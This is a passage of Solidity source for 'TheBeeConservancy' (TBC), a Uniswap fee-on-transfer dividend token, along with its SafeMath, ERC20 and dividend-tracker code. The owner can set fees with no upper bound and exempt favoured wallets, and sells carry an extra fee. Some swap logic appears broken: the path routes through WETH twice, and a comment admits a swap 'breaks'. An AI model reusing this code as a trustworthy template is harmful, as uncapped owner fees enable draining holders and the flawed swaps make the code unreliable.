overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SafeMathInt pragma solidity ^0.6.2; /** * @title SafeMathInt * @dev Math operations for int256 with overflow safety checks. */ library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } // SAFEMATHUINT pragma solidity ^0.6.2; /** * @title SafeMathUint * @dev Math operations with safety checks that revert on error */ library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } // IterableMapping pragma solidity ^0.6.2; library IterableMapping { // Iterable mapping from address to uint; struct Map { address[] keys; mapping(address => uint) values; mapping(address => uint) indexOf; mapping(address => bool) inserted; } function get(Map storage map, address key) public view returns (uint) { return map.values[key]; } function getIndexOfKey(Map storage map, address key) public view returns (int) { if(!map.inserted[key]) { return -1; } return int(map.indexOf[key]); } function getKeyAtIndex(Map storage map, uint index) public view returns (address) { return map.keys[index]; } function size(Map storage map) public view returns (uint) { return map.keys.length; } function set(Map storage map, address key, uint val) public { if (map.inserted[key]) { map.values[key] = val; } else { map.inserted[key] = true; map.values[key] = val; map.indexOf[key] = map.keys.length; map.keys.push(key); } } function remove(Map storage map, address key) public { if (!map.inserted[key]) { return; } delete map.inserted[key]; delete map.values[key]; uint index = map.indexOf[key]; uint lastIndex = map.keys.length - 1; address lastKey = map.keys[lastIndex]; map.indexOf[lastKey] = index; delete map.indexOf[key]; map.keys[index] = lastKey; map.keys.pop(); } } // ERC20 pragma solidity ^0.6.2; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // DividentInterface pragma solidity ^0.6.2; /// @title Dividend-Paying Token Interface /// @author Roger Wu (https://github.com/roger-wu) /// @dev An interface for a dividend-paying token contract. interface DividendPayingTokenInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function dividendOf(address _owner) external view returns(uint256); /// @notice Withdraws the ether distributed to the sender. /// @dev SHOULD transfer `dividendOf(msg.sender)` wei to `msg.sender`, and `dividendOf(msg.sender)` SHOULD be 0 after the transfer. /// MUST emit a `DividendWithdrawn` event if the amount of ether transferred is greater than 0. function withdrawDividend() external; /// @dev This event MUST emit when ether is distributed to token holders. /// @param from The address which sends ether to this contract. /// @param weiAmount The amount of distributed ether in wei. event DividendsDistributed( address indexed from, uint256 weiAmount ); /// @dev This event MUST emit when an address withdraws their dividend. /// @param to The address which withdraws ether from this contract. /// @param weiAmount The amount of withdrawn ether in wei. event DividendWithdrawn( address indexed to, uint256 weiAmount ); } // DividendPayingOptInterface pragma solidity ^0.6.2; /// @title Dividend-Paying Token Optional Interface /// @author Roger Wu (https://github.com/roger-wu) /// @dev OPTIONAL functions for a dividend-paying token contract. interface DividendPayingTokenOptionalInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) external view returns(uint256); /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) external view returns(uint256); /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner) external view returns(uint256); } pragma solidity ^0.6.2; /// @title Dividend-Paying Token /// @author Roger Wu (https://github.com/roger-wu) /// @dev A mintable ERC20 token that allows anyone to pay and distribute ether /// to token holders as dividends and allows token holders to withdraw their dividends. contract DividendPayingToken is ERC20, Ownable, DividendPayingTokenInterface, DividendPayingTokenOptionalInterface { using SafeMath for uint256; using SafeMathUint for uint256; using SafeMathInt for int256; address public immutable ETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // WETH // With `magnitude`, we can properly distribute dividends even if the amount of received ether is small. // For more discussion about choosing the value of `magnitude`, // see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728 uint256 constant internal magnitude = 2**128; uint256 internal magnifiedDividendPerShare; // About dividendCorrection: // If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with: // `dividendOf(_user) = dividendPerShare * balanceOf(_user)`. // When `balanceOf(_user)` is changed (via minting/burning/transferring tokens), // `dividendOf(_user)` should not be changed, // but the computed value of `dividendPerShare * balanceOf(_user)` is changed. // To keep the `dividendOf(_user)` unchanged, we add a correction term: // `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`, // where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed: // `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`. // So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed. mapping(address => int256) internal magnifiedDividendCorrections; mapping(address => uint256) internal withdrawnDividends; uint256 public totalDividendsDistributed; constructor(string memory _name, string memory _symbol) public ERC20(_name, _symbol) { } function distributeETHDividends(uint256 amount) public onlyOwner{ require(totalSupply() > 0); if (amount > 0) { magnifiedDividendPerShare = magnifiedDividendPerShare.add( (amount).mul(magnitude) / totalSupply() ); emit DividendsDistributed(msg.sender, amount); totalDividendsDistributed = totalDividendsDistributed.add(amount); } } /// @notice Withdraws the ether distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. function withdrawDividend() public virtual override { _withdrawDividendOfUser(msg.sender); } /// @notice Withdraws the ether distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. function _withdrawDividendOfUser(address payable user) internal returns (uint256) { uint256 _withdrawableDividend = withdrawableDividendOf(user); if (_withdrawableDividend > 0) { withdrawnDividends[user] = withdrawnDividends[user].add(_withdrawableDividend); emit DividendWithdrawn(user, _withdrawableDividend); bool success = IERC20(ETH).transfer(user, _withdrawableDividend); if(!success) { withdrawnDividends[user] = withdrawnDividends[user].sub(_withdrawableDividend); return 0; } return _withdrawableDividend; } return 0; } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function dividendOf(address _owner) public view override returns(uint256) { return withdrawableDividendOf(_owner); } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) public view override returns(uint256) { return accumulativeDividendOf(_owner).sub(withdrawnDividends[_owner]); } /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) public view override returns(uint256) { return withdrawnDividends[_owner]; } /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// = (magnifiedDividendPerShare * balanceOf(_owner) + magnifiedDividendCorrections[_owner]) / magnitude /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner) public view override returns(uint256) { return magnifiedDividendPerShare.mul(balanceOf(_owner)).toInt256Safe() .add(magnifiedDividendCorrections[_owner]).toUint256Safe() / magnitude; } /// @dev Internal function that transfer tokens from one address to another. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param from The address to transfer from. /// @param to The address to transfer to. /// @param value The amount to be transferred. function _transfer(address from, address to, uint256 value) internal virtual override { require(false); int256 _magCorrection = magnifiedDividendPerShare.mul(value).toInt256Safe(); magnifiedDividendCorrections[from] = magnifiedDividendCorrections[from].add(_magCorrection); magnifiedDividendCorrections[to] = magnifiedDividendCorrections[to].sub(_magCorrection); } /// @dev Internal function that mints tokens to an account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account that will receive the created tokens. /// @param value The amount that will be created. function _mint(address account, uint256 value) internal override { super._mint(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account] .sub( (magnifiedDividendPerShare.mul(value)).toInt256Safe() ); } /// @dev Internal function that burns an amount of the token of a given account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account whose tokens will be burnt. /// @param value The amount that will be burnt. function _burn(address account, uint256 value) internal override { super._burn(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account] .add( (magnifiedDividendPerShare.mul(value)).toInt256Safe() ); } function _setBalance(address account, uint256 newBalance) internal { uint256 currentBalance = balanceOf(account); if(newBalance > currentBalance) { uint256 mintAmount = newBalance.sub(currentBalance); _mint(account, mintAmount); } else if(newBalance < currentBalance) { uint256 burnAmount = currentBalance.sub(newBalance); _burn(account, burnAmount); } } } contract TheBeeConservancy is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private swapping; TheBeeConservancyDividendTracker public dividendTracker; address public deadWallet = 0x000000000000000000000000000000000000dEaD; address public immutable ETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // WETH uint256 public swapTokensAtAmount = 2000000 * (10**18); uint256 public ETHRewardsFee = 8; uint256 public liquidityFee = 3; uint256 public marketingFee = 4; uint256 public totalFees = ETHRewardsFee.add(liquidityFee).add(marketingFee); address public _marketingWalletAddress = 0x5DD7313dE3786295688484b48D97Ed0D9F11bf73; // use by default 300,000 gas to process auto-claiming dividends uint256 public gasForProcessing = 300000; // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateDividendTracker(address indexed newAddress, address indexed oldAddress); event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet); event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SendDividends( uint256 tokensSwapped, uint256 amount ); event ProcessedDividendTracker( uint256 iterations, uint256 claims, uint256 lastProcessedIndex, bool indexed automatic, uint256 gas, address indexed processor ); constructor() public ERC20("TheBeeConservancy | T.ME/TBCToken", "TBC") { dividendTracker = new TheBeeConservancyDividendTracker(); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UNIv2 // Create a uniswap pair for this new token address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); // exclude from receiving dividends dividendTracker.excludeFromDividends(address(dividendTracker)); dividendTracker.excludeFromDividends(address(this)); dividendTracker.excludeFromDividends(owner()); dividendTracker.excludeFromDividends(deadWallet); dividendTracker.excludeFromDividends(address(_uniswapV2Router)); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(_marketingWalletAddress, true); excludeFromFees(address(this), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(owner(), 1000000000000 * (10**18)); } receive() external payable { } function updateDividendTracker(address newAddress) public onlyOwner { require(newAddress != address(dividendTracker), "TheBeeConservancy: The dividend tracker already has that address"); TheBeeConservancyDividendTracker newDividendTracker = TheBeeConservancyDividendTracker(payable(newAddress)); require(newDividendTracker.owner() == address(this), "TheBeeConservancy: The new dividend tracker must be owned by the TheBeeConservancy token contract"); newDividendTracker.excludeFromDividends(address(newDividendTracker)); newDividendTracker.excludeFromDividends(address(this)); newDividendTracker.excludeFromDividends(owner()); newDividendTracker.excludeFromDividends(address(uniswapV2Router)); emit UpdateDividendTracker(newAddress, address(dividendTracker)); dividendTracker = newDividendTracker; } function updateUniswapV2Router(address newAddress) public onlyOwner { require(newAddress != address(uniswapV2Router), "TheBeeConservancy: The router already has that address"); emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router)); uniswapV2Router = IUniswapV2Router02(newAddress); address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), uniswapV2Router.WETH()); uniswapV2Pair = _uniswapV2Pair; } function excludeFromFees(address account, bool excluded) public onlyOwner { require(_isExcludedFromFees[account] != excluded, "TheBeeConservancy: Account is already the value of 'excluded'"); _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFees[accounts[i]] = excluded; } emit ExcludeMultipleAccountsFromFees(accounts, excluded); } function setMarketingWallet(address payable wallet) external onlyOwner{ _marketingWalletAddress = wallet; } function setETHRewardsFee(uint256 value) external onlyOwner{ ETHRewardsFee = value; totalFees = ETHRewardsFee.add(liquidityFee).add(marketingFee); } function setLiquiditFee(uint256 value) external onlyOwner{ liquidityFee = value; totalFees = ETHRewardsFee.add(liquidityFee).add(marketingFee); } function setMarketingFee(uint256 value) external onlyOwner{ marketingFee = value; totalFees = ETHRewardsFee.add(liquidityFee).add(marketingFee); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "TheBeeConservancy: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "TheBeeConservancy: Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; if(value) { dividendTracker.excludeFromDividends(pair); } emit SetAutomatedMarketMakerPair(pair, value); } function updateGasForProcessing(uint256 newValue) public onlyOwner { require(newValue >= 200000 && newValue <= 500000, "TheBeeConservancy: gasForProcessing must be between 200,000 and 500,000"); require(newValue != gasForProcessing, "TheBeeConservancy: Cannot update gasForProcessing to same value"); emit GasForProcessingUpdated(newValue, gasForProcessing); gasForProcessing = newValue; } function updateClaimWait(uint256 claimWait) external onlyOwner { dividendTracker.updateClaimWait(claimWait); } function getClaimWait() external view returns(uint256) { return dividendTracker.claimWait(); } function getTotalDividendsDistributed() external view returns (uint256) { return dividendTracker.totalDividendsDistributed(); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function withdrawableDividendOf(address account) public view returns(uint256) { return dividendTracker.withdrawableDividendOf(account); } function dividendTokenBalanceOf(address account) public view returns (uint256) { return dividendTracker.balanceOf(account); } function excludeFromDividends(address account) external onlyOwner{ dividendTracker.excludeFromDividends(account); } function getAccountDividendsInfo(address account) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { return dividendTracker.getAccount(account); } function getAccountDividendsInfoAtIndex(uint256 index) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { return dividendTracker.getAccountAtIndex(index); } function processDividendTracker(uint256 gas) external { (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) = dividendTracker.process(gas); emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, false, gas, tx.origin); } function claim() external { dividendTracker.processAccount(msg.sender, false); } function getLastProcessedIndex() external view returns(uint256) { return dividendTracker.getLastProcessedIndex(); } function getNumberOfDividendTokenHolders() external view returns(uint256) { return dividendTracker.getNumberOfTokenHolders(); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && !swapping && !automatedMarketMakerPairs[from] && from != owner() && to != owner() ) { swapping = true; uint256 marketingTokens = contractTokenBalance.mul(marketingFee).div(totalFees); swapAndSendToFee(marketingTokens); uint256 swapTokens = contractTokenBalance.mul(liquidityFee).div(totalFees); swapAndLiquify(swapTokens); uint256 sellTokens = balanceOf(address(this)); swapAndSendDividends(sellTokens); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } if(takeFee) { uint256 fees = amount.mul(totalFees).div(100); if(automatedMarketMakerPairs[to]){ fees += amount.mul(1).div(100); } amount = amount.sub(fees); super._transfer(from, address(this), fees); } super._transfer(from, to, amount); try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {} try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {} if(!swapping) { uint256 gas = gasForProcessing; try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) { emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin); } catch { } } } function swapAndSendToFee(uint256 tokens) private { uint256 initialETHBalance = IERC20(ETH).balanceOf(address(this)); swapTokensForETH(tokens); uint256 newBalance = (IERC20(ETH).balanceOf(address(this))).sub(initialETHBalance); IERC20(ETH).transfer(_marketingWalletAddress, newBalance); } function swapAndLiquify(uint256 tokens) private { // split the contract balance into halves uint256 half = tokens.div(2); uint256 otherHalf = tokens.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HALF swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](3); path[0] = address(this); path[1] = uniswapV2Router.WETH(); path[2] = ETH; _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0), block.timestamp ); } function swapAndSendDividends(uint256 tokens) private{ swapTokensForETH(tokens); uint256 dividends = IERC20(ETH).balanceOf(address(this)); bool success = IERC20(ETH).transfer(address(dividendTracker), dividends); if (success) { dividendTracker.distributeETHDividends(dividends); emit SendDividends(tokens, dividends); } } } contract TheBeeConservancyDividendTracker is Ownable, DividendPayingToken { using SafeMath for uint256; using SafeMathInt for int256; using IterableMapping for IterableMapping.Map; IterableMapping.Map private tokenHoldersMap; uint256 public lastProcessedIndex; mapping (address => bool) public excludedFromDividends; mapping (address => 